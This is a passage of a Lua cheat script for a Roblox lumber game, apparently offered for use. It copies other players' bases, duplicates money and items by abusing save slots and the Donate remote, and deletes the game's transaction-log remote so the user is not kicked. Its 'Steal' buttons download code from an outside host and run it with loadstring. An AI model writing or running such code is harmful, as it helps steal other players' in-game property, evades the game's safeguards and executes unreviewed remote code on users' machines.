  2167. if v:FindFirstChild("BuildDependentWood") and (v.Type.Value == "Structure" or v.Type.Value == "Furniture") then
  2168. local Data = {}
  2169. Data.WoodClass = v:FindFirstChild("BlueprintWoodClass") and v.BlueprintWoodClass.Value
  2170. Data.OffSet = (v:FindFirstChild("MainCFrame") and v.MainCFrame.Value or v.PrimaryPart.CFrame) - TargetLand.OriginSquare.Position
  2171. Data.BlueprintType = v.ItemName.Value
  2172. table.insert(CollectedTargetStructures,Data)
  2173. end
  2174. end
  2175. end
  2176.  
  2177. for i, Data in pairs(CollectedTargetStructures) do
  2178. game.ReplicatedStorage.PlaceStructure.ClientPlacedBlueprint:FireServer(Data.BlueprintType, LocalLand.OriginSquare.CFrame - Vector3.new(0,20,0), game.Players.LocalPlayer)
  2179.  
  2180. if SlowMode and (math.random(1,2) ~= 1) then
  2181. RunService.RenderStepped:Wait()
  2182. end
  2183. end
  2184. end
  2185.  
  2186. function blueprintHasBeenCollected(Model)
  2187. if CollectedLocalStructures[Model.Name] then
  2188. for i, BlueprintModel in pairs(CollectedLocalStructures[Model.Name]) do
  2189. if BlueprintModel == Model then
  2190. return true
  2191. end
  2192. end
  2193. end
  2194. return false
  2195. end
  2196.  
  2197. repeat
  2198. for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
  2199. if v:FindFirstChild("Owner") and v.Owner.Value == game.Players.LocalPlayer and v:FindFirstChild("Type") and v.Type.Value == "Blueprint" and not blueprintHasBeenCollected(v) then
  2200. if not CollectedLocalStructures[v.Name] then
  2201. CollectedLocalStructures[v.Name] = {}
  2202. end
  2203. table.insert(CollectedLocalStructures[v.Name], v)
  2204. TotalCollectedBlueprints = TotalCollectedBlueprints + 1
  2205. end
  2206. end
  2207. wait()
  2208. until TotalCollectedBlueprints == #CollectedTargetStructures
  2209.  
  2210. function SpawnStructure(Data, Blueprint)
  2211. local Position = Data.OffSet + LocalLand.OriginSquare.Position
  2212. game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure:FireServer(Blueprint.ItemName.Value, Position, game.Players.LocalPlayer, Data.WoodClass, Blueprint, not Data.WoodClass)
  2213. end
  2214.  
  2215. for i, Data in pairs(CollectedTargetStructures) do
  2216. local Blueprint = CollectedLocalStructures[Data.BlueprintType][1]
  2217. table.remove(CollectedLocalStructures[Data.BlueprintType], 1)
  2218.  
  2219. SpawnStructure(Data, Blueprint)
  2220.  
  2221. if SlowMode and (math.random(1,2) ~= 1) then
  2222. RunService.RenderStepped:Wait()
  2223. end
  2224. end
  2225.  
  2226. function CreateWire(WireType, Points)
  2227. local Wire = game.ReplicatedStorage.Purchasables.WireObjects[WireType]
  2228.  
  2229. for i,v in pairs(Points) do
  2230. Points[i] = v + LocalLand.OriginSquare.Position
  2231. end
  2232.  
  2233. game.ReplicatedStorage.PlaceStructure.ClientPlacedWire:FireServer(Wire, Points)
  2234. end
  2235.  
  2236. if CopyWire then
  2237. for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
  2238. if v:FindFirstChild("Owner") and v.Owner.Value == TargetPlayer and v:FindFirstChild("Type") and v.Type.Value == "Wire" and v:FindFirstChild("End1") then
  2239. local Points = {}
  2240. local PointCount = 1
  2241.  
  2242. table.insert(Points, (v.End1.Position - TargetLand.OriginSquare.Position))
  2243.  
  2244. for i,w in pairs(v:GetChildren()) do
  2245. if w.Name:find("Point") then
  2246. PointCount = PointCount + 1
  2247. end
  2248. end
  2249.  
  2250. for i=2, PointCount do
  2251. local Point = v:FindFirstChild("Point"..tostring(i))
  2252. table.insert(Points, (Point.Position - TargetLand.OriginSquare.Position))
  2253. end
  2254.  
  2255. table.insert(Points, (v.End2.Position - TargetLand.OriginSquare.Position))
  2256. CreateWire(v.ItemName.Value, Points)
  2257.  
  2258. if SlowMode and (math.random(1,2) ~= 1)then
  2259. RunService.RenderStepped:Wait()
  2260. end
  2261. end
  2262. end
  2263. end
  2264.  
  2265. function isValidFurniture(Model)
  2266. if Model:FindFirstChild("Type") and (Model.Type.Value == "Structure" or Model.Type.Value == "Furniture" or Model.Type.Value == "Vehicle Spot") then
  2267. if Model:FindFirstChild("BuildDependentWood") or Model:FindFirstChild("PurchasedBoxItemName") then
  2268. return false
  2269. end
  2270. return true
  2271. end
  2272. return false
  2273. end
  2274.  
  2275. function Spawn(ItemName, Position)
  2276. local Info = {}
  2277. Info.Name = ItemName.Value
  2278. Info.Type = ItemName.Name == "PurchasedBoxItemName" and ItemName or game.ReplicatedStorage.Purchasables.Structures.HardStructures.Sawmill2.Type
  2279. Info.OtherInfo = game.ReplicatedStorage.Purchasables.WireObjects.Wire.OtherInfo
  2280. local Points = {Position.p, Position.p}
  2281. game.ReplicatedStorage.PlaceStructure.ClientPlacedWire:FireServer(Info, Points)
  2282. end
  2283.  
  2284. if CopyFurniture then
  2285. for i, Model in pairs(game.Workspace.PlayerModels:GetChildren()) do
  2286. if Model:FindFirstChild("Owner") and Model.Owner.Value == TargetPlayer and isValidFurniture(Model) then
  2287. local ItemName = Model:FindFirstChild("ItemName") or Model:FindFirstChild("PurchasedBoxItemName")
  2288. local Position = (Model:FindFirstChild("MainCFrame") and Model.MainCFrame.Value or Model.PrimaryPart.CFrame) - TargetLand.OriginSquare.Position
  2289.  
  2290. if ItemName.Name == "PurchasedBoxItemName" then
  2291. Spawn(ItemName, Position + LocalLand.OriginSquare.Position)
  2292. else
  2293. Spawn(ItemName, LocalLand.OriginSquare.CFrame - Vector3.new(0,20,0))
  2294. end
  2295.  
  2296. local Data = {}
  2297. Data.ItemName = ItemName.Value
  2298. Data.OffSet = Position
  2299.  
  2300. table.insert(CollectedTargetFurnitures, Data)
  2301.  
  2302. if SlowMode and (math.random(1,2) ~= 1)then
  2303. RunService.RenderStepped:Wait()
  2304. end
  2305. end
  2306. end
  2307. end
  2308.  
  2309. for i, v in pairs(CollectedTargetFurnitures) do
  2310. table.insert(CollectedTargetFurnituresCopy,v)
  2311. end
  2312.  
  2313. function isValidFurnitureModel(Model)
  2314. for i, Data in pairs(CollectedTargetFurnitures) do
  2315. if Data.ItemName == Model.ItemName.Value then
  2316. table.remove(CollectedTargetFurnitures, i)
  2317. return true
  2318. end
  2319. end
  2320. return false
  2321. end
  2322.  
  2323. repeat
  2324. for i, Model in pairs(game.Workspace.PlayerModels:GetChildren()) do
  2325. if Model.Name == "Wire" and Model:FindFirstChild("Owner") and Model.Owner.Value == game.Players.LocalPlayer and Model.ItemName.Value ~= "Wire" and isValidFurnitureModel(Model) then
  2326. table.insert(CollectedLocalFurnitures, Model)
  2327. end
  2328. end
  2329. wait()
  2330. until #CollectedTargetFurnitures == 0
  2331.  
  2332. function GrabModelFromCollectedFurnitures(ItemName)
  2333. for i, Model in pairs(CollectedLocalFurnitures) do
  2334. if Model.ItemName.Value == ItemName then
  2335. table.remove(CollectedLocalFurnitures,i)
  2336. return Model
  2337. end
  2338. end
  2339. end
  2340.  
  2341. for i, Data in pairs(CollectedTargetFurnituresCopy) do
  2342. local Model = GrabModelFromCollectedFurnitures(Data.ItemName)
  2343. local ItemName = Data.ItemName
  2344. local Position = Data.OffSet + LocalLand.OriginSquare.Position
  2345. game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure:FireServer(ItemName,Position,game.Players.LocalPlayer,false,Model,true)
  2346.  
  2347. if SlowMode and (math.random(1,2) ~= 1)then
  2348. RunService.RenderStepped:Wait()
  2349. end
  2350. end
  2351.  
  2352. function isValidItem(Model)
  2353. if Model:FindFirstChild("Type") and (Model.Type.Value == "Structure" or Model.Type.Value == "Loose Item" or Model.Type.Value == "Tool" or Model.Type.Value == "Wire" or Model.Type.Value == "Furniture" or Model.Type.Value == "Gift") then
  2354. if (Model.Type.Value == "Structure" or Model.Type.Value == "Wire" or Model.Type.Value == "Furniture") and not Model:FindFirstChild("PurchasedBoxItemName") then
  2355. return false
  2356. end
  2357.  
  2358. return true
  2359. elseif not Model:FindFirstChild("Type") then
  2360. if Model:FindFirstChild("ItemName") then
  2361. local ItemName = Model.ItemName.Value:lower()
  2362.  
  2363. if ItemName:find("bob") and (ItemName:find("wob") or ItemName:find("head"))then
  2364. return true
  2365. end
  2366. end
  2367. end
  2368. return false
  2369. end
  2370. function itemIsOnLand(Position)
  2371. if (math.abs(Position.X - TargetLand.OriginSquare.Position.X) > 101 or math.abs(Position.Z - TargetLand.OriginSquare.Position.Z) > 101) then
  2372. return false
  2373. end
  2374. for i, Square in pairs(TargetLand:GetChildren()) do
  2375. if Square.Name == "Square" then
  2376. if (math.abs(Position.X - Square.Position.X) < 21 and math.abs(Position.Z - Square.Position.Z) < 21) then
  2377. return true
  2378. end
  2379. end
  2380. end
  2381. return false
  2382. end
  2383.  
  2384. if CopyItems then
  2385. for i, Model in pairs(game.Workspace.PlayerModels:GetChildren()) do
  2386. if Model:FindFirstChild("Owner") and Model.Owner.Value == TargetPlayer and isValidItem(Model) then
  2387. local ItemName = Model:FindFirstChild("ItemName") or Model:FindFirstChild("PurchasedBoxItemName")
  2388. local Position = (Model:FindFirstChild("MainCFrame") and Model.MainCFrame.Value or Model.PrimaryPart.CFrame) - TargetLand.OriginSquare.Position
  2389.  
  2390. if itemIsOnLand((Model:FindFirstChild("MainCFrame") and Model.MainCFrame.Value or Model.PrimaryPart.CFrame).p) then
  2391. Spawn(ItemName, LocalLand.OriginSquare.CFrame - Vector3.new(0,20,0))
  2392.  
  2393. local Data = {}
  2394. Data.ItemName = ItemName.Value
  2395. Data.OffSet = Position
  2396.  
  2397. table.insert(CollectedTargetItems, Data)
  2398.  
  2399. if SlowMode and (math.random(1,2) ~= 1)then
  2400. RunService.RenderStepped:Wait()
  2401. end
  2402. end
  2403. end
  2404. end
  2405. end
  2406.  
  2407. for i, v in pairs(CollectedTargetItems) do
  2408. table.insert(CollectedTargetItemsCopy,v)
  2409. end
  2410.  
  2411. function isValidItemModel(Model)
  2412. for i, Data in pairs(CollectedTargetItems) do
  2413. if Data.ItemName == Model.ItemName.Value then
  2414. table.remove(CollectedTargetItems, i)
  2415. return true
  2416. end
  2417. end
  2418. return false
  2419. end
  2420. function itemHasBeenCollected(Model)
  2421. for i, Data in pairs(CollectedLocalItems) do
  2422. if Data.ItemName == Model.ItemName.Value then
  2423. return true
  2424. end
  2425. end
  2426. return false
  2427. end
  2428.  
  2429. repeat
  2430. for i, Model in pairs(game.Workspace.PlayerModels:GetChildren()) do
  2431. if Model.Name == "Wire" and Model:FindFirstChild("Owner") and Model.Owner.Value == game.Players.LocalPlayer and (Model.ItemName.Value ~= "Wire" or (Model:FindFirstChild("ItemName") and Model.ItemName.Value == "Wire" and Model:FindFirstChild("PurchasedBoxItemName"))) and isValidItemModel(Model) and not itemHasBeenCollected(Model) then
  2432. table.insert(CollectedLocalItems, Model)
  2433. end
  2434. end
  2435. wait()
  2436. until #CollectedTargetItems == 0
  2437.  
  2438. function GrabModelFromCollectedItems(ItemName)
  2439. for i, Model in pairs(CollectedLocalItems) do
  2440. if Model.ItemName.Value == ItemName then
  2441. table.remove(CollectedLocalItems,i)
  2442. return Model
  2443. end
  2444. end
  2445. end
  2446.  
  2447. for i, Data in pairs(CollectedTargetItemsCopy) do
  2448. local Model = GrabModelFromCollectedItems(Data.ItemName)
  2449. local ItemName = Data.ItemName
  2450. local Position = Data.OffSet + LocalLand.OriginSquare.Position
  2451.  
  2452. if Model:FindFirstChild("PurchasedBoxItemName") then
  2453. game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure:FireServer(false, Position, false, false, Model)
  2454. Model.Parent = nil
  2455. else
  2456. game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure:FireServer(ItemName,Position,game.Players.LocalPlayer,false,Model,true)
  2457. end
  2458.  
  2459. if SlowMode and (math.random(1,2) ~= 1)then
  2460. RunService.RenderStepped:Wait()
  2461. end
  2462. end
  2463.  
  2464. print("Finished Copying!")
  2465.  
  2466. end)
  2467.  
  2468. local ItemDupe = Instance.new("TextButton")
  2469.  
  2470. ItemDupe.Name = "ItemDupe"
  2471. ItemDupe.Parent = CopyFrame
  2472. ItemDupe.BackgroundColor3 = Color3.new(0, 0, 0)
  2473. ItemDupe.BorderColor3 = Color3.new(0, 0, 0)
  2474. ItemDupe.Position = UDim2.new(0, 3, 0, 49)
  2475. ItemDupe.Size = UDim2.new(0, 165, 0, 20)
  2476. ItemDupe.Font = Enum.Font.Fantasy
  2477. ItemDupe.FontSize = Enum.FontSize.Size18
  2478. ItemDupe.Text = "Dupe Mode"
  2479. ItemDupe.TextColor3 = Color3.new(255, 0, 0)
  2480. ItemDupe.TextSize = 15
  2481. ItemDupe.MouseButton1Down:connect(function()
  2482. --Functions, look here for the source and how it works if you want to know, also give me credits if you skid xD
  2483.  
  2484. --Prevent the game to kick you by letting the script error by not fincing the remote
  2485. if game.ReplicatedStorage.Transactions:FindFirstChild("AddLog") then
  2486. game.ReplicatedStorage.Transactions.AddLog:Destroy()
  2487. end
  2488.  
  2489. --Button function (toggle)
  2490. local Enabled = false
  2491. ItemDupe.MouseButton1Down:Connect(function()
  2492. if Enabled == true then
  2493. Enabled = false
  2494. ItemDupe.Text = "Dupe Mode: Disabled"
  2495. elseif Enabled == false then
  2496. Enabled = true
  2497. ItemDupe.Text = "Dupe Mode: Enabled"
  2498. end
  2499. end)
  2500.  
  2501.  
  2502. --Changes slot to -1 when Enabled to prevent saving
  2503. while wait(.25) do
  2504. if Enabled == true then
  2505. game.Players.LocalPlayer.CurrentSaveSlot.Value = -1
  2506. end
  2507. end
  2508.  
  2509. --Credits to Johiro
  2510. end)
  2511.  
  2512. local GetWood = Instance.new("TextButton")
  2513.  
  2514. GetWood.Name = "GetWood"
  2515. GetWood.Parent = CopyFrame
  2516. GetWood.BackgroundColor3 = Color3.new(0, 0, 0)
  2517. GetWood.BorderColor3 = Color3.new(0, 0, 0)
  2518. GetWood.Position = UDim2.new(0, 3, 0, 72)
  2519. GetWood.Size = UDim2.new(0, 165, 0, 20)
  2520. GetWood.Font = Enum.Font.Fantasy
  2521. GetWood.FontSize = Enum.FontSize.Size18
  2522. GetWood.Text = "Steal Wood"
  2523. GetWood.TextColor3 = Color3.new(255, 0, 0)
  2524. GetWood.TextSize = 15
  2525. GetWood.MouseButton1Down:connect(function()
  2526. loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/stealwood.lua',true))()
  2527.  
  2528. end)
  2529.  
  2530. local GetItems = Instance.new("TextButton")
  2531.  
  2532. GetItems.Name = "GetItems"
  2533. GetItems.Parent = CopyFrame
  2534. GetItems.BackgroundColor3 = Color3.new(0, 0, 0)
  2535. GetItems.BorderColor3 = Color3.new(0, 0, 0)
  2536. GetItems.Position = UDim2.new(0, 3, 0, 95)
  2537. GetItems.Size = UDim2.new(0, 165, 0, 20)
  2538. GetItems.Font = Enum.Font.Fantasy
  2539. GetItems.FontSize = Enum.FontSize.Size18
  2540. GetItems.Text = "Steal Items"
  2541. GetItems.TextColor3 = Color3.new(255, 0, 0)
  2542. GetItems.TextSize = 15
  2543. GetItems.MouseButton1Down:connect(function()
  2544. loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/GetItems.lua',true))()
  2545.  
  2546. end)
  2547.  
  2548. local GetAxes = Instance.new("TextButton")
  2549.  
  2550. GetAxes.Name = "GetAxes"
  2551. GetAxes.Parent = CopyFrame
  2552. GetAxes.BackgroundColor3 = Color3.new(0, 0, 0)
  2553. GetAxes.BorderColor3 = Color3.new(0, 0, 0)
  2554. GetAxes.Position = UDim2.new(0, 3, 0, 118)
  2555. GetAxes.Size = UDim2.new(0, 165, 0, 20)
  2556. GetAxes.Font = Enum.Font.Fantasy
  2557. GetAxes.FontSize = Enum.FontSize.Size18
  2558. GetAxes.Text = "Steal Axes"
  2559. GetAxes.TextColor3 = Color3.new(255, 0, 0)
  2560. GetAxes.TextSize = 15
  2561. GetAxes.MouseButton1Down:connect(function()
  2562. loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/GetAxe.lua',true))()
  2563.  
  2564. end)
  2565.  
  2566. local GetGifts = Instance.new("TextButton")
  2567.  
  2568. GetGifts.Name = "GetGifts"
  2569. GetGifts.Parent = CopyFrame
  2570. GetGifts.BackgroundColor3 = Color3.new(0, 0, 0)
  2571. GetGifts.BorderColor3 = Color3.new(0, 0, 0)
  2572. GetGifts.Position = UDim2.new(0, 3, 0, 141)
  2573. GetGifts.Size = UDim2.new(0, 165, 0, 20)
  2574. GetGifts.Font = Enum.Font.Fantasy
  2575. GetGifts.FontSize = Enum.FontSize.Size18
  2576. GetGifts.Text = "Steal Gifts"
  2577. GetGifts.TextColor3 = Color3.new(255, 0, 0)
  2578. GetGifts.TextSize = 15
  2579. GetGifts.MouseButton1Down:connect(function()
  2580. loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/GetGifts1.lua',true))()
  2581.  
  2582. end)
  2583.  
  2584. local GetStructure = Instance.new("TextButton")
  2585.  
  2586. GetStructure.Name = "GetStructure"
  2587. GetStructure.Parent = CopyFrame
  2588. GetStructure.BackgroundColor3 = Color3.new(0, 0, 0)
  2589. GetStructure.BorderColor3 = Color3.new(0, 0, 0)
  2590. GetStructure.Position = UDim2.new(0, 3, 0, 164)
  2591. GetStructure.Size = UDim2.new(0, 165, 0, 20)
  2592. GetStructure.Font = Enum.Font.Fantasy
  2593. GetStructure.FontSize = Enum.FontSize.Size18
  2594. GetStructure.Text = "Steal Structures"
  2595. GetStructure.TextColor3 = Color3.new(255, 0, 0)
  2596. GetStructure.TextSize = 15
  2597. GetStructure.MouseButton1Down:connect(function()
  2598. loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/GetStructure.lua',true))()
  2599.  
  2600. end)
  2601.  
  2602. local GetFurniture = Instance.new("TextButton")
  2603.  
  2604. GetFurniture.Name = "GetFurniture"
  2605. GetFurniture.Parent = CopyFrame
  2606. GetFurniture.BackgroundColor3 = Color3.new(0, 0, 0)
  2607. GetFurniture.BorderColor3 = Color3.new(0, 0, 0)
  2608. GetFurniture.Position = UDim2.new(0, 3, 0, 187)
  2609. GetFurniture.Size = UDim2.new(0, 165, 0, 20)
  2610. GetFurniture.Font = Enum.Font.Fantasy
  2611. GetFurniture.FontSize = Enum.FontSize.Size18
  2612. GetFurniture.Text = "Steal Furniture"
  2613. GetFurniture.TextColor3 = Color3.new(255, 0, 0)
  2614. GetFurniture.TextSize = 15
  2615. GetFurniture.MouseButton1Down:connect(function()
  2616. loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/GetFurnitures.lua',true))()
  2617.  
  2618. end)
  2619.  
  2620. local GetVehicle = Instance.new("TextButton")
  2621.  
  2622. GetVehicle.Name = "GetVehicle"
  2623. GetVehicle.Parent = CopyFrame
  2624. GetVehicle.BackgroundColor3 = Color3.new(0, 0, 0)
  2625. GetVehicle.BorderColor3 = Color3.new(0, 0, 0)
  2626. GetVehicle.Position = UDim2.new(0, 3, 0, 210)
  2627. GetVehicle.Size = UDim2.new(0, 165, 0, 20)
  2628. GetVehicle.Font = Enum.Font.Fantasy
  2629. GetVehicle.FontSize = Enum.FontSize.Size18
  2630. GetVehicle.Text = "Steal Box Vehicles"
  2631. GetVehicle.TextColor3 = Color3.new(255, 0, 0)
  2632. GetVehicle.TextSize = 15
  2633. GetVehicle.MouseButton1Down:connect(function()
  2634. loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/GetVehicle.lua',true))()
  2635.  
  2636. end)
  2637.  
  2638. local GetWires = Instance.new("TextButton")
  2639.  
  2640. GetWires.Name = "GetWires"
  2641. GetWires.Parent = CopyFrame
  2642. GetWires.BackgroundColor3 = Color3.new(0, 0, 0)
  2643. GetWires.BorderColor3 = Color3.new(0, 0, 0)
  2644. GetWires.Position = UDim2.new(0, 3, 0, 233)
  2645. GetWires.Size = UDim2.new(0, 165, 0, 20)
  2646. GetWires.Font = Enum.Font.Fantasy
  2647. GetWires.FontSize = Enum.FontSize.Size18
  2648. GetWires.Text = "Steal Wires"
  2649. GetWires.TextColor3 = Color3.new(255, 0, 0)
  2650. GetWires.TextSize = 15
  2651. GetWires.MouseButton1Down:connect(function()
  2652. loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/GetWires.lua',true))()
  2653.  
  2654. end)
  2655.  
  2656. local BringUp = Instance.new("TextButton")
  2657.  
  2658. BringUp.Name = "BringUp"
  2659. BringUp.Parent = CopyFrame
  2660. BringUp.BackgroundColor3 = Color3.new(0, 0, 0)
  2661. BringUp.BorderColor3 = Color3.new(0, 0, 0)
  2662. BringUp.Position = UDim2.new(0, 3, 0, 256)
  2663. BringUp.Size = UDim2.new(0, 165, 0, 20)
  2664. BringUp.Font = Enum.Font.Fantasy
  2665. BringUp.FontSize = Enum.FontSize.Size18
  2666. BringUp.Text = "BringUp"
  2667. BringUp.TextColor3 = Color3.new(255, 0, 0)
  2668. BringUp.TextSize = 15
  2669. BringUp.MouseButton1Down:connect(function()
  2670. loadstring(game:GetObjects("rbxassetid://01925396229")[1].Source)()
  2671. end)
  2672.  
  2673. local Slot = Instance.new("TextBox")
  2674. local DMoney = Instance.new("TextButton")
  2675. local Load = Instance.new("TextButton")
  2676. local Store = Instance.new("TextButton")
  2677. local Restore = Instance.new("TextButton")
  2678. local SaveSlot = Instance.new("TextButton")
  2679. local DropAxes = Instance.new("TextButton")
  2680. local CountAxes = Instance.new("TextButton")
  2681.  
  2682. Slot.Name = "Slot"
  2683. Slot.Parent = CopyFrame
  2684. Slot.BackgroundColor3 = Color3.new(0, 0, 0)
  2685. Slot.BorderColor3 = Color3.new(0, 0, 0)
  2686. Slot.Position = UDim2.new(0, 3, 0, 279)
  2687. Slot.Size = UDim2.new(0, 165, 0, 20)
  2688. Slot.Font = Enum.Font.Fantasy
  2689. Slot.FontSize = Enum.FontSize.Size18
  2690. Slot.Text = "Base Slot Number "
  2691. Slot.TextColor3 = Color3.new(1, 1, 1)
  2692. Slot.TextSize = 15
  2693.  
  2694. --Locals
  2695. local MoneyCooldown = false
  2696. local CurrentSlot = game.Players.LocalPlayer:WaitForChild("CurrentSaveSlot").Value
  2697. local ScriptLoad = false
  2698. local CurrentlySavingOrLoading = game.Players.LocalPlayer:WaitForChild("CurrentlySavingOrLoading")
  2699.  
  2700. --Functions
  2701. local function CheckIfSlotAvailable(Slot)
  2702. for a,b in pairs(game.ReplicatedStorage.LoadSaveRequests.GetMetaData:InvokeServer(game.Players.LocalPlayer)) do
  2703. if a == Slot then
  2704. for c,d in pairs(b) do
  2705. if c == "NumSaves" and d ~= 0 then
  2706. return true
  2707. else
  2708. return false
  2709. end
  2710. end
  2711. end
  2712. end
  2713. end
  2714.  
  2715. local function CheckSlotNumber() --Checks if the slot number is right
  2716. if Slot.Text == "1" or Slot.Text == "2" or Slot.Text == "3" or Slot.Text == "4" or Slot.Text == "5" or Slot.Text == "6" then
  2717. local SlotNumber = tonumber(Slot.Text)
  2718. return SlotNumber
  2719. else return false
  2720. end
  2721. end
  2722.  
  2723. local function SendNotification(Title,Text,Duration) -- Sends Notification in the bottom right of the screen
  2724. game.StarterGui:SetCore("SendNotification", {
  2725. Title = Title;
  2726. Text = Text;
  2727. Icon = nil;
  2728. Duration = Duration
  2729. })
  2730. end
  2731.  
  2732. DMoney.Name = "DMoney"
  2733. DMoney.Parent = CopyFrame
  2734. DMoney.BackgroundColor3 = Color3.new(0, 0, 0)
  2735. DMoney.BorderColor3 = Color3.new(0, 0, 0)
  2736. DMoney.Position = UDim2.new(0, 3, 0, 302)
  2737. DMoney.Size = UDim2.new(0, 90, 0, 20)
  2738. DMoney.Font = Enum.Font.Fantasy
  2739. DMoney.FontSize = Enum.FontSize.Size18
  2740. DMoney.Text = "Dupe Money"
  2741. DMoney.TextColor3 = Color3.new(255, 0, 0)
  2742. DMoney.TextSize = 15
  2743. DMoney.MouseButton1Down:connect(function() --Sends the money and will come back after around 2 mins
  2744. if MoneyCooldown == true then
  2745. SendNotification("Cooldown Notification", "Wait for your Money to come back",2)
  2746. return
  2747. elseif MoneyCooldown == false then
  2748. MoneyCooldown = true
  2749. SendNotification("Money Sent", "Wait about 2 minutes for your Money to come back", 5)
  2750. game.ReplicatedStorage.Transactions.ClientToServer.Donate:InvokeServer(game.Players.LocalPlayer, game.Players.LocalPlayer.leaderstats.Money.Value, 1)
  2751. SendNotification("Money Received", "You received your money that you have sent earlier", 5)
  2752. MoneyCooldown = false
  2753. end
  2754. end)
  2755.  
  2756. Load.Name = "Load"
  2757. Load.Parent = CopyFrame
  2758. Load.BackgroundColor3 = Color3.new(0, 0, 0)
  2759. Load.BorderColor3 = Color3.new(0, 0, 0)
  2760. Load.Position = UDim2.new(0, 97, 0, 312)
  2761. Load.Size = UDim2.new(0, 70, 0, 20)
  2762. Load.Font = Enum.Font.Fantasy
  2763. Load.FontSize = Enum.FontSize.Size18
  2764. Load.Text = "Load Slot"
  2765. Load.TextColor3 = Color3.new(1, 1, 1)
  2766. Load.TextSize = 15
  2767. Load.MouseButton1Down:connect(function() --Loads the slot you want
  2768. ScriptLoad = true
  2769. local CheckSlot = CheckSlotNumber()
  2770. if CheckSlot ~= false then
  2771. if CheckIfSlotAvailable(CheckSlot) == true then
  2772. local LoadSlot = game.ReplicatedStorage.LoadSaveRequests.RequestLoad:InvokeServer(CheckSlot)
  2773. if LoadSlot == false then
  2774. SendNotification("Cooldown Notification", "You aren't abled to load now", 1)
  2775. end
  2776. if LoadSlot == true then
  2777. SendNotification("Reload Notification", "Loaded Your Slot", 2)
  2778. CurrentSlot = CheckSlot
  2779. end
  2780. else
  2781. SendNotification("Slot not Available", "This Slot is not Available, please choose another slot", 2)
  2782. end
  2783. else
  2784. SendNotification("Incorrect Slot", "Enter a Valid number in the upper field", 1)
  2785. end
  2786. ScriptLoad = false
  2787. end)
  2788.  
  2789. Store.Name = "Store"
  2790. Store.Parent = CopyFrame
  2791. Store.BackgroundColor3 = Color3.new(0, 0, 0)
  2792. Store.BorderColor3 = Color3.new(0, 0, 0)
  2793. Store.Position = UDim2.new(0, 3, 0, 325)
  2794. Store.Size = UDim2.new(0, 90, 0, 20)
  2795. Store.Font = Enum.Font.Fantasy
  2796. Store.FontSize = Enum.FontSize.Size18
  2797. Store.Text = "Store Axe"
  2798. Store.TextColor3 = Color3.new(255, 0, 0)
  2799. Store.TextSize = 15
  2800. Store.MouseButton1Down:connect(function() --Stores the Axes somewhere so you can restore them later
  2801. Amount = 0
  2802. for a,b in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do
  2803. if b.Name ~= "BlueprintTool" and b.Name == "Tool" then
  2804. b.Parent = game.Players.LocalPlayer
  2805. Amount = Amount + 1
  2806. end
  2807. end
  2808. SendNotification("Store Notification", "Stored "..Amount.." Axes, you can restore them later", 2)
  2809. end)
  2810.  
  2811. Restore.Name = "Restore"
  2812. Restore.Parent = CopyFrame
  2813. Restore.BackgroundColor3 = Color3.new(0, 0, 0)
  2814. Restore.BorderColor3 = Color3.new(0, 0, 0)
  2815. Restore.Position = UDim2.new(0, 3, 0, 348)
  2816. Restore.Size = UDim2.new(0, 165, 0, 20)
  2817. Restore.Font = Enum.Font.Fantasy
  2818. Restore.FontSize = Enum.FontSize.Size18
  2819. Restore.Text = "Restore Axe"
  2820. Restore.TextColor3 = Color3.new(1, 1, 1)
  2821. Restore.TextSize = 15
  2822. Restore.MouseButton1Down:connect(function() --Restores the axes that you stored with the Store function
  2823. Amount = 0
  2824. for a,b in pairs(game.Players.LocalPlayer:GetChildren()) do
  2825. if b.Name ~= "BlueprintTool" and b.Name == "Tool" then
  2826. b.Parent = game.Players.LocalPlayer.Backpack
  2827. Amount = Amount + 1
  2828. end
  2829. end
  2830. SendNotification("Restore Notification", "Restored "..Amount.." Axes that you Stored", 2)
  2831. end)
  2832.  
  2833. SaveSlot.Name = "SaveSlot"
  2834. SaveSlot.Parent = CopyFrame
  2835. SaveSlot.BackgroundColor3 = Color3.new(0, 0, 0)
  2836. SaveSlot.BorderColor3 = Color3.new(0, 0, 0)
  2837. SaveSlot.Position = UDim2.new(0, 3, 0, 371)
  2838. SaveSlot.Size = UDim2.new(0, 165, 0, 20)
  2839. SaveSlot.Font = Enum.Font.Fantasy
  2840. SaveSlot.FontSize = Enum.FontSize.Size18
  2841. SaveSlot.Text = "SaveSlot "
  2842. SaveSlot.TextColor3 = Color3.new(1, 1, 1)
  2843. SaveSlot.TextSize = 15
  2844. SaveSlot.MouseButton1Down:connect(function() --Saves the slot that you want
  2845. local CheckSlot = CheckSlotNumber()
  2846. if CheckSlot ~= false then
  2847. if CurrentSlot ~= -1 then
  2848. local SaveSlot = game.ReplicatedStorage.LoadSaveRequests.RequestSave:InvokeServer(CheckSlot)
  2849. if SaveSlot == true then
  2850. SendNotification("Save Notification", "Saved your Slot", 2)
  2851. elseif SaveSlot == false then
  2852. SendNotification("Already Saving", "Saving/Loading is currently in Progress", 1)
  2853. end
  2854. else
  2855. SendNotification("Error", "Load Your Slot First before saving", 1)
  2856. end
  2857. else
  2858. SendNotification("Incorrect Slot", "Enter a number in the upper field", 1)
  2859. end
  2860. end)
  2861.  
  2862. DropAxes.Name = "DropAxes"
  2863. DropAxes.Parent = CopyFrame
  2864. DropAxes.BackgroundColor3 = Color3.new(0, 0, 0)
  2865. DropAxes.BorderColor3 = Color3.new(0, 0, 0)
  2866. DropAxes.Position = UDim2.new(0, 3, 0, 417)
  2867. DropAxes.Size = UDim2.new(0, 165, 0, 20)
  2868. DropAxes.Font = Enum.Font.Fantasy
  2869. DropAxes.FontSize = Enum.FontSize.Size18
  2870. DropAxes.Text = "Drop Axes "
  2871. DropAxes.TextColor3 = Color3.new(255, 0, 0)
  2872. DropAxes.TextSize = 15
  2873. DropAxes.MouseButton1Down:connect(function() --Drops all your Axes
  2874. Amount = 0
